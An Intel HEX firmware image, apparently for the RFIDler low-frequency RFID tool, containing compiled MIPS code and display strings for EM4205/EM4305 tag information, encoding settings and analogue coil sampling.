:1004cc0021400801214829011c00401521482f0119
:1004dc00257828011400e011000000000800201508
:1004ec00000000000300001500000000adff00102c
:1004fc0000000a242548000100000824e0ff4a25da
:10050c0020702e71a7ffc0110000000023504e0177
:10051c0022380e000638e8000440c8010448c9011e
:10052c00a0ff001025482701ff0701243300a1116b
:10053c0000000000ddff00100000000025782801fd
:10054c002e00e015000000000500a01500000000c2
:10055c0040780c002578eb012800e0110000000029
:10056c00ff0701242100a115000000002a7860017a
:10057c0021586b0121608c011900a01521608f019d
:10058c0025788b011400e011000000000800801594
:10059c0000000000030060150000000085ff001043
:1005ac0000000d242560600100000b24e0ffad2548
:1005bc00203086717fffc010000000002368a60168
:1005cc00227006000670cb010458cb000460cc00ee
:1005dc0078ff001025608e01b4ff00100000042489
:1005ec0025788b010500e01500000000f07f013c30
:1005fc002528a100adff001000000424f8ff053ce5
:10060c00aaff001000000424f8ff401d00000000a9
:10061c0001000e242370ca012000c12d07002014f4
:10062c0000000000e0ffce212b3008000d00091067
:10063c0025402601f8ff0010000009340900c01104
:10064c000000000022380e000430e8000438e900f5
:10065c000640c8010648c9010200c0102540e80048
:10066c00020008350004082500040f2d21482f0135
:0c067c0083ff0010c257090000000000be
:020000040000fa
:020000041d05d8
:10068800000000000100010000000000000000015f
:100698004e6f2044656c61790000000042502f3491
:1006a800202852462f3136290000000042502f38aa
:1006b800202852462f382900496e76616c696400fb
:1006c800323130704600000032353070460000008c
:1006d80033333070460000003031303130000000d4
:1006e8004646464646464646000000003030313011
:1006f8003100000030313030310000002573000037
:10070800202020202020202020496e666f20426c67
:100718006f636b202830293a20000000252e38739b
:100728000d0a0d0a00000000202020202020202093
:100738002020437573746f6d657220436f64653a4a
:10074800203078253033780d0a0000002020202042
:100758002020202020202020202043617061636910
:10076800746f723a202564203d20000025730d0a1d
:1007780000000000202020202020202020202020f1
:1007880020204368697020547970653a20256420d8
:100798003d200000454d343230350d0a0000000080
:1007a800454d343330350d0a00000000496e76613e
:1007b8006c69640d0a00000025730d0a0d0a00001b
:1007c8004e6f742070726573656e74000d0a202078
:1007d800202020202020202050574420426c6f6386
:1007e8006b202832293a2025730d0a0d0a000000d3
:1007f8005772697465204f6e6c79000020202020a4
:10080800202020436f6e66696720426c6f636b20ff
:100818002834293a20252e38730d0a0d0a000000c5
:10082800547275650000000046616c736500000035
:1008380020202020202020202020202050696765ab
:100848006f6e204d6f64653a2025730d0a00000015
:100858002020202020202020202020202020202090
:10086800202020205254463a2025730d0a0000000b
:100878002020202020202020202020202020202070
:1008880044697361626c653a2025730d0a000000a3
:10089800202020202020202020202020577269742a
:1008a80065204c6f67696e3a2025730d0a000000b9
:1008b8002020202020202020202020202052656178
:1008c80064204c6f67696e3a2025730d0a0000009a
:1008d8002020202020202020202020202020202010
:1008e800202020204c57523a2025640d0a00000091
:1008f8002020202020202020202020202044656c3b
:1009080061796564204f6e3a202564203d200000ff
:1009180020202020202020202020202020202020cf
:10092800456e636f6465723a202564203d2000009f
:100938004d616e6368657374657200004269506842
:1009480061736500202020202020202020202020e6
:1009580020204461746120526174653a2025642026
:100968003d20000052462f25640d0a0030303032f9
:1009780030303546000000003030303138303546f0
:1009880000000000303030323130384600000000be
:10099800303030303030303000000000303030310e
:0409a800310000001a
:020000040000fa
:020000041d05d8
:1009ac00e8ffbd271400bfaf1000beaf21f0a003bd
:1009bc001800c4af1800c48f1fff400f00000000c8
:1009cc0021e8c0031400bf8f1000be8f1800bd2794
:1009dc000800e00300000000c0ffbd273c00bfafd3
:1009ec003800beaf21f0a0034000c4af4400c5af37
:1009fc004000c48f4400c58f73db400f0000000023
:100a0c0007004010000000004000c48f4000c58f5c
:100a1c00ac42410f000000008c42410b0000000072
:100a2c002110000021e8c0033c00bf8f3800be8fae
:100a3c004000bd270800e00300000000e8ffbd27d0
:100a4c001400bfaf1000beaf21f0a0031800c4af5c
:100a5c001c00c5af1800c48f1c00c58fd942410fb4
:100a6c000000000008004010000000001800c48fb7
:100a7c001800c58f4000062447b9400f0000000045
:100a8c00a642410b000000002110000021e8c00329
:100a9c001400bf8f1000be8f1800bd270800e003a4
:100aac0000000000d8ffbd272400bfaf2000beaf60
:100abc0021f0a0032800c4af2c00c5af1400c2273e
:100acc00212040002c00c58f02000624214b410f31
:100adc00000000002c00c28f040042241400c32725
:100aec000200632421206000212840000600062417
:100afc00214b410f000000001400c22721204000b0
:100b0c008db7400f000000001000c2af1000c38f63
:100b1c001400023c003e4234211062001000c2afaf
:100b2c002800c48f1000c58f90b6400f0000000045
:100b3c002800c28f08004224000040a001000224bb
:100b4c0021e8c0032400bf8f2000be8f2800bd27e2
:100b5c000800e00300000000a0ffbd275c00bfaf51
:100b6c005800beaf5400b0af21f0a0036000c4af7a
:100b7c006400c5af6400c48f7b4b410f00000000c4
:100b8c000900422c04004014000000002110000059
:100b9c002d43410b000000001400c227212040000f
:100bac0030000524080006247152410f000000009b
:100bbc006400c48f7b4b410f00000000080003242d
:100bcc00231062001400c327218062006400c48fcc
:100bdc007b4b410f00000000212000026400c58ff8
:100bec0021304000214b410f000000001400c227af
:100bfc00212040008db7400f000000001000c2af54
:100c0c001000c38febff023c00c242342110620083
:100c1c001000c2af4400c227212040003000052440
:100c2c000a0006247152410f000000004400c22744
:100c3c0002004224212040001000c58f90b6400fc6
:100c4c00000000004400c3274400c22702004224d5
:100c5c00212060002128400002000624214b410f76
:100c6c0000000000300002244600c2a33000022421
:100c7c004700c2a34e00c0a31c00c3274400c227d8
:100c8c002120600021284000cbb8400f000000005c
:100c9c001c00c2276000c48f212840008bdc400f51
:100cac00000000000100022421e8c0035c00bf8f9b
:100cbc005800be8f5400b08f6000bd270800e003c1
:100ccc0000000000f8ffbd270400beaf21f0a00318
:100cdc00211080000c00c5af0800c2a30800c3930c
:100cec0080bf023c205c43ac0000000080bf023c93
:100cfc00105c428c01004230fcff401000000000f0
:100d0c0080bf023c205c428cff0043300c00c28f41
:100d1c00000043a021e8c0030400be8f0800bd27db
:100d2c000800e00300000000f8ffbd270400beaf80
:100d3c0021f0a0030800c4af0c00c5af80bf023c7b
:100d4c000800c38f205c43ac0000000080bf023c55
:100d5c00105c428c01004230fcff4010000000008f
:100d6c0080bf023c205c438c0c00c28f000043ac63
:100d7c0021e8c0030400be8f0800bd270800e00373
:100d8c0000000000e0ffbd271c00bfaf1800beaf85
:100d9c0021f0a003211880002110a0002800c6af6c
:100dac002c00c7af2000c3a32400c2a3040004245a
:100dbc000010023c20014534100006241f4d410f49
:100dcc00000000002000c293212040003400c58f99
:100ddc003443410f000000001000c0af8743410bab
:100dec00000000002c00c38f1000c28f2110620085
:100dfc0000004290212040003400c58f3443410f45
:100e0c00000000001000c28f010042241000c2af8d
:100e1c001000c38f2800c28f2b106200f1ff40140a
:100e2c00000000001000c0af9943410b000000000f
:100e3c003400c38f1000c28f2110620021200000eb
:100e4c00212840003443410f000000001000c28fe5
:100e5c00010042241000c2af1000c38f3000c28fbb
:100e6c002b106200f2ff4014000000000400042468
:100e7c00ec51410f000000002110000021e8c003dc
:100e8c001c00bf8f1800be8f2000bd270800e00398
:100e9c0000000000e0ffbd271c00bfaf1800beaf74
:100eac0021f0a0032000c4af2110a0002800c6af81
:100ebc002c00c7af2400c2a3040004240010023c81
:100ecc0020054534100006241f4d410f0000000082
:100edc002000c48f3400c58f4d43410f000000002b
:100eec001000c0afca43410b000000001000c28fbd
:100efc00801002002c00c38f211062000000428c75
:100f0c00212040003400c58f4d43410f00000000ec
:100f1c001000c28f010042241000c2af1000c38f1a
:100f2c002800c28f2b106200f0ff4014000000005c
:100f3c001000c0afdd43410b000000001000c28f59
:100f4c00801002003400c38f2110620021200000a9
:100f5c00212840004d43410f000000001000c28fbb
:100f6c00010042241000c2af1000c38f3000c28faa
:100f7c002b106200f1ff4014000000000400042458
:100f8c00ec51410f000000002110000021e8c003cb
:100f9c001c00bf8f1800be8f2000bd270800e00387
:100fac0000000000e0ffbd271c00bfaf1800beaf63
:100fbc0021f0a003212000001000c22721284000ae
:100fcc003443410f0000000021e8c0031c00bf8f18
:100fdc001800be8f2000bd270800e00300000000b1
:100fec00e8ffbd271400bfaf1000beaf21f0a00377
:100ffc001800c4af1800c48f1fff400f0000000082
:10100c0021e8c0031400bf8f1000be8f1800bd274d
:10101c000800e00300000000e8ffbd271400bfaf8c
:10102c001000beaf21f0a0031800c4af1c00c5af68
:10103c001800c48f1c00c58f3344410f0000000002
:10104c0021e8c0031400bf8f1000be8f1800bd270d
:10105c000800e00300000000e8ffbd271400bfaf4c
:10106c001000beaf21f0a0031800c4af1c00c5af28
:10107c001800c48f1c00c58f5d44410f0000000098
:10108c0008004010000000001800c48f1800c58f25
:10109c004000062447b9400f000000002d44410bce
:1010ac00000000002110000021e8c0031400bf8fd5
:1010bc001000be8f1800bd270800e00300000000e0
:1010cc00a8ffbd275400bfaf5000beaf21f0a00356
:1010dc005800c4af5c00c5af1000c22721204000ef
:1010ec005c00c58fe1db400f0000000017004010d2
:1010fc00000000001000c227212040002800052419
:10110c008fbc400f000000005800c48f1000c22795
:10111c00212840002800062447b9400f0000000099
:10112c005800c48f0a000524bbbc400f000000000f
:10113c005800c48f0a0005248fbc400f000000002b
:10114c00010002245744410b000000002110000054
:10115c0021e8c0035400bf8f5000be8f5800bd273c
:10116c000800e00300000000a8ffbd275400bfaf3b
:10117c005000beaf4c00b0af21f0a0035800c4af7c
:10118c005c00c5af5c00c48f7b4b410f00000000be
:10119c000b00422c04004014000000002110000041
:1011ac009d44410b000000001000c227212040008c
:1011bc00300005240a0006247152410f0000000083
:1011cc005c00c48f7b4b410f000000000a0003241d
:1011dc00231062001000c327218062005c00c48fc2
:1011ec007b4b410f00000000212000025c00c58fea
:1011fc0021304000214b410f000000001000c2279d
:10120c00212040000a0005248fbc400f0000000084
:10121c001000c227212040000a000524bbbc400f4f
:10122c00000000001c00c227212040001000c22733
:10123c0021284000cbb8400f000000001c00c22742
:10124c0021204000280005248fbc400f0000000026
:10125c001c00c2275800c48f212840008bdc400f93
:10126c00000000000100022421e8c0035400bf8fdd
:10127c005000be8f4c00b08f5800bd270800e00313
:10128c0000000000e0ffbd271c00bfaf1800beaf80
:10129c0021f0a0032000c4af2400c5af2800c6afc6
:1012ac001400c0af2400c28f1000c2af4145410be7
:1012bc000000000000a0023cdc5642248700429053
:1012cc00f9ff42240c00432c820060100000000047
:1012dc0080180200059d023cf81242242110620085
:1012ec000000428c08004000000000008013059da7
:1012fc00d813059de014059d3014059de014059d43
:10130c00e014059de014059de014059de014059d79
:10131c008814059de014059d2813059d00a0023c32
:10132c00dc564224b800428c821802001400c28f92
:10133c00180062002000c28f122000002118440007
:10134c001000c28fff004230212060002128400095
:10135c00a3de400f00000000040040140000000059
:10136c00211000004745410b000000003b45410b9c
:10137c000000000000a0023cdc564224b800428c65
:10138c00821802001400c28f180062002000c28f65
:10139c0012200000211844001000c28fff004230c0
:1013ac0021206000212840006fab400f000000009e
:1013bc000400401400000000211000004745410bc0
:1013cc00000000003b45410b0000000000a0023c67
:1013dc00dc564224b800428c821802001400c28fe2
:1013ec00180062002000c28f122000002118440057
:1013fc001000c28fff0042302120600021284000e5
:10140c00c3b0400f000000000400401400000000b6
:10141c00211000004745410b000000003b45410beb
:10142c000000000000a0023cdc564224b800428cb4
:10143c00821802001400c28f180062002000c28fb4
:10144c0012200000211844001000c28fff0042300f
:10145c00212060002128400011cf400f0000000027
:10146c000400401400000000211000004745410b0f
:10147c00000000003b45410b0000000000a0023cb6
:10148c00dc564224b800428c821802001400c28f31
:10149c00180062002000c28f1220000021184400a6
:1014ac001000c28fff004230212060002128400034
:1014bc00b0e2400f000000000400401400000000e7
:1014cc00211000004745410b000000003b45410b3b
:1014dc0000000000211000004745410b00000000f7
:1014ec001000c28f010042241000c2af1400c28f42
:1014fc00010042241400c2af1000c38f2800c28f19
:10150c002b1043006bff4010000000000100022470
:10151c0021e8c0031c00bf8f1800be8f2000bd2720
:08152c000800e00300000000cc
:020000040000fa
:020000041d05d8
:101534000080013c2628a100c24d0400ff0029318f
:10154400c25d0500ff006b310080073c00420400cf
:10155400254007010052050025504701ffff2d25b6
:10156400fe00a12d6100201000000000ffff6d258a
:10157400fe00a12d770020100000000023602b0145
:101584000d008005000000002000812903002014c4
:10159400000000001500001002000a2425300a0093
:1015a40006508a0104688a011000a6110000000098
:1015b4000e00001002004a3525480b0023600c0081
:1015c40020008129030020140000000007000010ff
:1015d40002000824253008000640880104688801b8
:1015e4000200a611000000000200083524608700f4
:1015f400266885011000a0050000000021400a01b2
:101604002b680a011700a0110000000001000d3131
:101614000200a0110000000002000835424008004a
:1016240001002925ff0001240e00211500000000ff
:101634000c000010000008242b680a010400a0110b
:1016440023400a012340080003000010266087019c
:1016540050000011000000002030067123482601cc
:101664000440c8000e002019000000008000082576
:1016740080000d2d21482d01026a08000100ad31c2
:1016840023400d014040080042420800c06d09009b
:1016940025400d0125100c010800e00300000000a6
:1016a400010006242330c9002000c12c3900201079
:1016b400000000000080013c2540010120000d24b1
:1016c4002368a6010448a801020020110640c800ae
:1016d400010008350000092480000d25e3ffa10561
:1016e40000000000e1ff0010010009240e00201595
:1016f4000000000021400801050000110000000066
:1017040020600c7123482c0198ff001004408801cc
:10171400ff0001240f006111000000000080013c63
:101724001800a11400000000216808011b00a01586
:1017340000000000ff0001241400611500000000f7
:10174400266885001500a005000000000d000010ab
:1017540000000000080060150000000021504a014c
:101764000a0040110000000020604c7123586c01f5
:1017740082ff001004508a0121684a010700a01565
:1017840000000000c4ff001025100500c2ff001077
:1017940025100400c0ff001000000224beff00104a
:0817a400c0ff023c0000000040
:020000040000fa
:020000041d05d8
:1017ac0090ffbd276c00bfaf6800beaf21f0a00357
:1017bc007000c4af1000c0afe5d4400f00000000b3
:1017cc000f004014000000007000c28f0400401095
:1017dc0000000000211000008146410b00000000b9
:1017ec00059d023cbc504424059d023cc050452440
:1017fc000413410f000000000c46410b00000000d8
:10180c000c46410b000000002b15410f000000009e
:10181c000400401000000000211000008146410b24
:10182c0000000000e5d4400f00000000f6ff40105f
:10183c00000000007000c28f09004014000000007e
:10184c00059d023cbc504424059d023cd0504524cf
:10185c000413410f000000002746410b000000005c
:10186c002746410b000000002b15410f0000000023
:10187c0004004014000000007000c28f04004010ef
:10188c0000000000211000008146410b0000000008
:10189c00801b400f00000000f3ff40100000000010
:1018ac007000c28f1500401400000000fbd4400fe4
:1018bc0000000000059d033ce050642421284000fa
:1018cc006913410f00000000f2d4400f000000002b
:1018dc00059d033c08516424212840006913410fe5
:1018ec0000000000059d023cbc504424059d023cb8
:1018fc001c5145240413410f000000003f0002243a
:10190c001400c2a31400c3932800c227059d043cf5
:10191c00305184242128600021304000345e400f77
:10192c0000000000330040140000000001000224fd
:10193c001000c2af7000c28f030040100000000006
:10194c008046410b000000001800c22721204000f7
:10195c00212800000d0006247152410f00000000e8
:10196c001800c3272800c22721206000212840002e
:10197c000c000624214b410f000000001800c22768
:10198c00059d033c34516424212840000413410f6d
:10199c00000000003500c2931000423009004010d6
:1019ac0000000000059d023c38514424059d023c7a
:1019bc00405145240413410f000000007a46410bae
:1019cc00000000003800c28f059d033c4851642480
:1019dc00212840006913410f000000002800c22795
:1019ec0021204000755f400f00000000cfff401029
:1019fc00000000001000c28f21e8c0036c00bf8ff4
:101a0c006800be8f7000bd270800e00300000000d6
:020000040000fa
:020000041d05d8
:101a1c0000800b3cc2450400ff000831c255050094
:101a2c00ff004a31003a04002538eb00004a05005b
:101a3c0025482b012670850024586e01ffff0e25ca
:101a4c00fe00c12d3f00201000000000ffff4e25be
:101a5c00fe00c12d53002010000000002b08e900ef
:101a6c000300201400000000423807000100082584
:101a7c0082630900f40180011b00ec0012200000bd
:101a8c0010300000ff3f2d311900a4011228000076
:101a9c00803306002b70c5000400c0112330c50034
:101aac00ffff84242130c9002b70c900f401800190
:101abc001b00cc0012380000103000001900a701e8
:101acc0012280000803306002b70c5000400c011e2
:101adc002330c500ffffe7242130c9002b70c9005b
:101aec00807304002138ee000200c010003907009a
:101afc000100e7347e000e242370ca0121400e0140
:101b0c00ffff0e25fe00c12d340020100000000048
:101b1c008000e7248000ee2c21400e0102720700a9
:101b2c000100ce312338ee0040380700423a07005e
:101b3c00c07508002538ee002510eb000800e00306
:101b4c000000000008000015000000002138e7002c
:101b5c000500e010000000002060ec7023400c0138
:101b6c00baff00100438870104004815000000007b
:101b7c00217029012f00c01100000000ff0001247a
:101b8c0008004111000000001200001100000000cc
:101b9c002170e7002700c015000000002200001093
:101bac000000000008004015000000002148290139
:101bbc001d0020110000000020602c7123504c01ee
:101bcc00a6ff001004488901217029011900c015d5
:101bdc0000000000d9ff001025100b001200001da2
:101bec000000000001000c24236088012000812dde
:101bfc00f8ff20100000000020000e242370cc0100
:101c0c000440c70102000011063887010200e734c6
:101c1c00000008248000ee24bdffc1050000000078
:101c2c00bbff001001000824807f013cc3ff0010a3
:101c3c0025106101c1ff0010c0ff023c0000000034
:020000040000fa
:020000041d05d8
:101c4c00524649446c65725f53616d706c657300ec
:101c5c004465736372697074696f6e0052464944cf
:101c6c006c657220416e616c6f67756520436f699e
:101c7c006c2053616d706c657300000054616700db
:101c8c005461672053657474696e677300000000bb
:101c9c005461675f547970650000000054616720df
:101cac00547970650000000044617461000000000c
:101cbc004d6f64756c6174696f6e00004d6f647567
:101ccc006c6174696f6e20536368656d650000000c
:101cdc00446174615f526174650000004461746119
:101cec00205261746520284672616d6520436c6fcb
:101cfc00636b73290000000025640000506f74733f
:101d0c0000000000506f74656e74696f6d657465ca
:101d1c00722053657474696e677320284465636917
:101d2c006d616c2900000000506f745f4869676832
:101d3c0000000000506f74656e74696f6d6574659a
:101d4c007220486967682053657474696e67000077
:101d5c00506f745f4c6f7700506f74656e74696f61
:101d6c006d65746572204c6f772053657474696e61
:101d7c006700000053616d706c65730054696d658c
:101d8c002042617365642053616d706c65204172f3
:101d9c007261797300000000436f696c5f44617479
:101dac0061000000416e616c6f677565204369725c
:101dbc0063756974205261772044617461202848ee
:101dcc00455829005265616465725f4f7574707572
:101ddc0074000000416e616c6f6775652043697219
:101dec0063756974204469676974616c205265611c
:101dfc00646572204f757470757420284849474883
:101e0c002f4c4f57290000004269745f506572696e
:101e1c006f6400004d6f64756c6174696f6e205354
:101e2c006368656d652042697420506572696f64e2
:101e3c0020285449434b532900000000257300000f
:101e4c000d0a000025643a200000000025640d0aec
:101e5c00000000000050c3470000803f20bcbe4c77
:081e6c0000007a4400761348df
:020000040000fa
:020000041d05d8
:101e7400d8ffbd272400bfaf2000b3af1c00b2af12
:101e84001800b1af1400b0af450080042180800079
:101e94006e0082280f0040100b0082286f00401053
:101ea4006666023c80800400059d023c6058422422
:101eb400218002020000028e2400bf8f2000b38f15
:101ec4001c00b28f1800b18f1400b08f0800e0031b
:101ed4002800bd27eb51033c1f85633418008300a1
:101ee40010180000c39704006666133c67667326e7
:101ef400059d113c605831264c00248e4319030083
:101f040023187200801003000019030021104300fd
:101f14008018020021104300231002022014027cc6
:101f24001800530010180000c317020083180300a0
:101f3400231062002014027c090042248010020055
:101f440021105100a948410f0000458c18001302cc
:101f540010980000212040008398130023907202ff
:101f640040101200c09012002190520023801202ef
:101f74002084107c8080100021881102a948410f20
:101f84000000258e2400bf8f2000b38f1c00b28f69
:101f94001800b18f1400b08f0800e0032800bd279b
:101fa400238004002084107c6e00022a210040104b
:101fb4000b00022a30004054808010006666023c08
:101fc400676642241800020210100000c3271000a4
:101fd400059d033c9458632483100200231044009d
:101fe40040280200c02002002120a4002014027c0a
:101ff40023800402090042242084107c8010020003
:102004008080100021104300211803020000448c3a
:10201400a948410f0000658c2400bf8f2000b38fb6
:102024001c00b28f1800b18f1400b08f0800e003b9
:102034002800bd27eb51033c1f85633418000302bd
:1020440010180000c39710006666133c6766732679
:10205400059d113cbf47410b9458312667664224c5
:102064001800820010100000c3270400059d033ce3
:10207400f747410b60586324059d023c9458422461
:0c20840021800202af47410b0000028ed9
:020000040000fa
:020000041d05d8
:102090002518850045006010211000000100022471
:1020a00044008210c23f0500ffff0224620082103c
:1020b0000a00022464008210f6ff022457008210f6
:1020c000ffff02240800e010401905003f008010c7
:1020d0000080023c232004002b100400232805006c
:1020e0002328a20040190500c21604002510620032
:1020f000c21e050025104300380040148019050059
:102100008216040025106200821e05002518430077
:10211000510060141a000224c21f04004028050068
:10212000252865004020040080310500821e04003f
:102130002518c3008236050025186600f6ff6010da
:10214000ffff42247f0043244900605882ff03249c
:10215000070082300a004010ff006228c000857c22
:102160000300842421208500c216040004004010ce
:10217000ff0062284220040001006324ff0062285f
:1021800037004010c2200400c005827c020040508d
:102190002118000000b0847c0012070025106200a6
:1021a000c01502000800e003251044000800e00309
:1021b00000000000bdffa054ffff02240012070032
:1021c0007f0042340800e003c0150200c2ffa214e1
:1021d00023200400212000000080053c1a00022476
:1021e000c0370500421804002518c30001008430e0
:1021f000422805002520830040310500c21e04004e
:102200002518c300c236050025186600f4ff6014c7
:10221000010042245248410b7f004324a9ffa2142d
:102220000012070082004234c01502002000033c67
:102230000800e003251043009effa4540a00022476
:102240007048410b001207009cffa054f6ff0224c7
:102250008948410b001207005448410b99000324a0
:1022600000120700ff0042340800e003c01502001e
:10227000231862001b0065280800a05021200000e0
:102280009e00422404104400062064002b1002002b
:10229000252044005448410b010003246648410bab
:0422a0002118000001
:020000040000fa
:020000041d05d8
:1022a400c23d0400ff00e730c24d0500ff002931a4
:1022b40000800a3c003204002530ca0000420500b8
:1022c40025400a012660850024504c01ffffec24c0
:1022d400fe00812d2100201000000000ffff2c25ae
:1022e400fe00812d36002010000000001900c800f7
:1022f4001258000002006011103000000100c634c2
:102304000300c0040000000040300600ffffe72483
:1023140082ff2c252138ec00ffffec24fe00812de8
:102324003a002010000000008000c6248000cc2c5d
:102334002138ec000262060001008c312330cc000d
:102344004030060042320600c06507002530cc004c
:102354002510ca000800e003000000000d00e0148e
:10236400000000002130c6000500c010000000007d
:102374002058cb702338eb00d8ff001004306601de
:10238400ff0001241f0021110000000015000010af
:10239400000000002160c6001a0080150000000043
:1023a40004002015000000002160080115008011c0
:1023b40000000000ff0001240f00211500000000b0
:1023c4000a0020150000000021400801050000114a
:1023d4000000000020580b7123482b01c3ff00109c
:1023e40004406801dbff001025100a002160080189
:1023f4000400801500000000807f013cd5ff001020
:1024040025104101d3ff0010c0ff023cfaffe01c7d
:102414000000000001000b24235867012000612df7
:10242400f0ff20100000000020000c2423608b012a
:10243400043886010200e010063066010200c6344a
:10244400000007248000cc24b7ff810500000000b1
:0c245400b5ff001001000724000000008c
:020000040000fa
:020000041d05d8
:10246000e0ffbd271c00bfaf1800beaf21f0a003e6
:102470002000c4af2400c5af2800c6af1000c0a321
:102480001100c0a37949410b0000000000a0023cec
:10249000dc56422487004290f9ff42240c00432c72
:1024a000460060100000000080180200059d023cfc
:1024b000c4244224211062000000428c0800400025
:1024c000000000001c25059d4025059dbc25059d9f
:1024d0006425059dbc25059dbc25059dbc25059d48
:1024e000bc25059dbc25059d9025059dbc25059d0c
:1024f000f424059d2000c28fff00423021204000bf
:102500002400c58f2800c68f6bde400f000000003e
:102510001000c2a37049410b000000002000c28fd0
:10252000ff004230212040002400c58fa1ab400fa6
:10253000000000001000c2a37049410b0000000021
:102540002000c28fff004230212040002400c58fb0
:1025500022b1400f000000001000c2a37049410bdf
:10256000000000002000c28fff0042302120400008
:102570002400c58f213000002800c78f74cf400f82
:10258000000000001000c2a37049410b00000000d1
:102590002000c28fff004230212040002400c58f60
:1025a000213000002800c78f15e3400f0000000015
:1025b0001000c2a37049410b0000000000000000a1
:1025c0001000c2930400401000000000010002242b
:1025d0007e49410b000000001100c293010042241b
:1025e0001100c2a31100c2930500422ca7ff4014a2
:1025f000000000002110000021e8c0031c00bf8f74
:102600001800be8f2000bd270800e0030000000076
:020000040000fa
:020000041d05d8
:10261000e0ffbd271c00bfaf1800b2af1400b1af80
:102620001000b0af0055a77cffffe2240098a87c03
:10263000fe07492c2188c000c287050021108000b8
:10264000410020112118000101fce7241000043c86
:10265000251804012138f100422f0200c0180300a0
:10266000ff03e4242518a30025008018c0100200f1
:10267000070045301500a014c000457c403703001a
:10268000c2100200ff0785282510c2003600a010e6
:10269000c21803000005657c0200a0502120000044
:1026a0000098637cc0821000252090000025040063
:1026b000251883001c00bf8f1800b28f1400b18f43
:1026c0001000b08f0800e0032000bd270300a52400
:1026d000212845002b10a200211843000006667c2b
:1026e000e6ffc0102110a000c02f0300421002001e
:1026f0002510a200421803009f49410b01008424c9
:1027000002fc06242330c7003800c4281b00805078
:102710002110000023200600200085300300a014b3
:102720000488820004208300258882002120400044
:102730000858410f212860002b8811002510220223
:102740009c49410b010004240500e0542110800045
:10275000253004010c00c01400000000211080008e
:10276000ad49410b2118a000c01a1000ff076334c7
:10277000001d0300ad49410b21100000211800008d
:10278000a949410b2120000003000015209012717f
:102790002090927020005226f5ff4626adffc01013
:1027a00002fc07241858410f212800010dfc0724c2
:0827b0009549410b2338f200aa
:020000040000fa
:020000041d05d8
:1027b800e0ffbd271c00bfaf1800b2af1400b1afd7
:1027c8001000b0af6e00822c2f00401021808000d6
:1027d8000b00822c0e004010059d023c80800400f6
:1027e80094584224218002020000048e059d023c78
:1027f800a948410f6044458c1c00bf8f1800b28f58
:102808001400b18f1000b08f0800e0032000bd272e
:10281800cccc113ccdcc3136190091001088000089
:10282800059d123c94585226059d023c6044458cf7
:10283800c2881100090022268010020021105200cf
:10284800a948410f0000448c40181100c0881100ad
:102858002188710023801102ff001032808010004f
:10286800219012020000458ea948410f2120400006
:102878001c00bf8f1800b28f1400b18f1000b08fea
:102888000800e0032000bd27eb51123c1f8552369b
:102898001900920010900000059d113c94583126b3
:1028a800059d023c6044458c42911200120042266c
:1028b8008010020021105100a948410f0000448ceb
:1028c80080181200009112002190720080181200e6
:1028d8002118430223180302cccc123ccdcc52362b
:1028e800ff0063301900720010180000212040001a
:1028f800c21803000900632480180300211871001e
:10290800a948410f0000658c1900120210900000c0
:1029180021204000c290120040101200c090120006
:102928002190520023801202ff0010328080100094
:1029380021881102a948410f0000258e1c00bf8f75
:102948001800b28f1400b18f1000b08f0800e00398
:042958002000bd2777
:020000040000fa
:020000041d05d8
:10295c002540850003000831030000112110800080
:10296c00380000100000aa900000aa8c0101093c5c
:10297c0001012935c07909002340490124400f0188
:10298c000700001124600a010500881100000000f6
:10299c000000a5240000aa902a0000100000842446
:1029ac000400ab8c00008aac2340690124400f0169
:1029bc000700001124600b010500881100000000c5
:1029cc000400a5240000aa901e000010040084241a
:1029dc000800aa8c04008bac2340490124400f0151
:1029ec000700001124600a01050088110000000096
:1029fc000800a5240000aa901200001008008424ee
:102a0c000c00ab8c08008aac2340690124400f01f8
:102a1c000700001124600b01050088110000000064
:102a2c000c00a5240000aa90060000100c008424c1
:102a3c001000aa8c0c008bac10008424ceff00106c
:102a4c001000a5240300401500008aa00800e00334
:102a5c00000000000100ab900300601501008ba08a
:102a6c000800e003000000000200aa9003004015db
:102a7c0002008aa00800e003000000000300ab90f5
:102a8c000300601503008ba00800e00300000000a9
:102a9c000400aa900300401504008aa00800e0037b
:102aac00000000000500ab900300601505008ba032
:102abc000800e003000000000600aa900300401587
:102acc0006008aa00800e003000000000700ab909d
:102adc000300601507008ba00800e0030000000055
:102aec000800aa9008008424d6ff00100800a52432
:020000040000fa
:020000041d05d8
:102afc00d0ffbd272c00bfaf2800b4af2400b3af6c
:102b0c002000b2af1c00b1af1800b0af218880001c
:102b1c000c008294010042304a004010040080ac4a
:102b2c0000a0143cc8718282140040501000268e04
:102b3c0000a0103ca870102600a0133c487173260e
:102b4c00d74a410b020112240b001352c87180a208
:102b5c000c00029602014230fbff52541400102666
:102b6c009353410f2120000214001026f9ff135635
:102b7c000c000296c87180a21000268e1600c010a0
:102b8c000e002496d54b410f0800258e2f004010c7
:102b9c00040022aeffff0324340043500c002296a5
:102bac000800238effff4224040022ae01006224a1
:102bbc00000022ae000062902c00bf8f2800b48f62
:102bcc002400b38f2000b28f1c00b18f1800b08f7f
:102bdc000800e0033000bd27040020ae1000a5273c
:102bec00d54b410f01000624010003240c004310b7
:102bfc00ffff02240c002396100063340c0023a664
:102c0c002c00bf8f2800b48f2400b38f2000b28f0c
:102c1c001c00b18f1800b08f0800e0033000bd27f6
:102c2c001000a2932c00bf8f2800b48f2400b38f08
:102c3c002000b28f1c00b18f1800b08f0800e00389
:102c4c003000bd27f14a410bffff02240c002296f5
:102c5c00100042340c0022a60800238e040020ae83
:102c6c00ffff0224f14a410b000023ae3000423436
:082c7c00194b410b0c0022a6cc
:020000040000fa
:020000041d05d8
:102c8400211080005600c0100c00ca2c4d004015c5
:102c94002618a400030063302338040029006010c0
:102ca4000300e7300600e0102330c7000000a398bb
:102cb4000300a3882128a700000083b821208700ef
:102cc4000f00c3302338c3001100e010213060002e
:102cd4002138e5000000a3980300a3880400a89805
:102ce4000700a8880800a9980b00a9880c00aa98d6
:102cf4000f00aa88000083ac040088ac080089aceb
:102d04001000a52410008424f2ffa714fcff8aac51
:102d14000300c3302338c3002a00e01021306000d0
:102d24002138e5000000a3980300a3880400a5242b
:102d340004008424fbffa714fcff83ac21000010d3
:102d4400000000000500e0102330c7000000a39835
:102d54002128a700000083b8212087000f00c3307a
:102d64002338c3000d00e010213060002138e50055
:102d74000000a38c0400a88c0800a98c0c00aa8c69
:102d8400000083ac040088ac080089ac1000a524c2
:102d940010008424f6ffa714fcff8aac0300c330a0
:102da4002338c3000700e010213060002138e5001b
:102db4000000a38c0400a52404008424fcffa714b1
:102dc400fcff83ac0600c0102138c5000000a390ae
:102dd4000100a52401008424fcffa714ffff83a0a5
:102de4000800e0030000000000008a902110800029
